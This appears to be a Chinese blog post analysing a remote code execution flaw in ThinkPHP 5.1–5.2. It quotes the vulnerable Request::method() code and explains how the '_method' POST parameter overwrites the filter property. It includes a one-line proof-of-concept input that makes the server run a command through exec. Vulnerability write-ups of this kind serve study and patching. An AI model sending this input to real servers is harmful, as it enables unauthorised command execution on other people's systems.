• 欢迎访问惜文个人博客
  • 本博客最新公告:本站已经支持使用QQ和GitHub帐号快捷登录啦!
  • 访问本站建议使用火狐和谷歌浏览器哦!
  • 不知道要写什么哈哈
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏惜文博客吧
  • 源码模板插件免费下载,传送门:点我去看看传说中的安全之家!

Thinkphp5.1 ~ 5.2 全版本代码执行

网络安全 惜 文 1年前 (2019-02-19) 1409次浏览 0个评论 扫描二维码

序言

最近爆出了Thinkphp5.0.*全版本代码执行,其中5.1与5.2全版本在生产环境下下同样也存在代码执行


漏洞分析:

文件位置:\thinkphp\library\think\Request.php

    /**
     * 当前的请求类型
     * @access public
     * @param  bool $origin  是否获取原始请求类型
     * @return string
     */
    public function method($origin = false)
    {
        if ($origin) {
            // 获取原始请求类型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[$this->config['var_method']])) {
                $this->method    = strtoupper($_POST[$this->config['var_method']]);
                $method          = strtolower($this->method);
                $this->{$method} = $_POST;
            } elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
                $this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE'));
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }

        return $this->method;
    }

其中:

$this->method    = strtoupper($_POST[$this->config['var_method']]);
$method          = strtolower($this->method);
$this->{$method} = $_POST;

$method变量是$this->method,其同等于POST的”_method”参数值

然后该处存在一个变量覆盖

我们可以覆盖 $filter 属性值(POC如下)

c=exec&f=calc.exe&&_method=filter&

访问得到如下图:

Thinkphp5.1 ~ 5.2 全版本代码执行

会爆出一个警告级别的异常,导致程序终止

如何触发:

如果设置忽略异常提示,如下图:

Thinkphp5.1 ~ 5.2 全版本代码执行

本身项目发布就需要屏蔽异常和错误所以这个配置是一个正常的配置

Payload(POST请求):

Thinkphp5.1 ~ 5.2 全版本代码执行


惜文博客 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:Thinkphp5.1 ~ 5.2 全版本代码执行
喜欢 (0)
[白白]
分享 (0)
惜 文
关于作者:
感觉自己萌萌哒,啦啦啦,个人说明也没啥可写
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址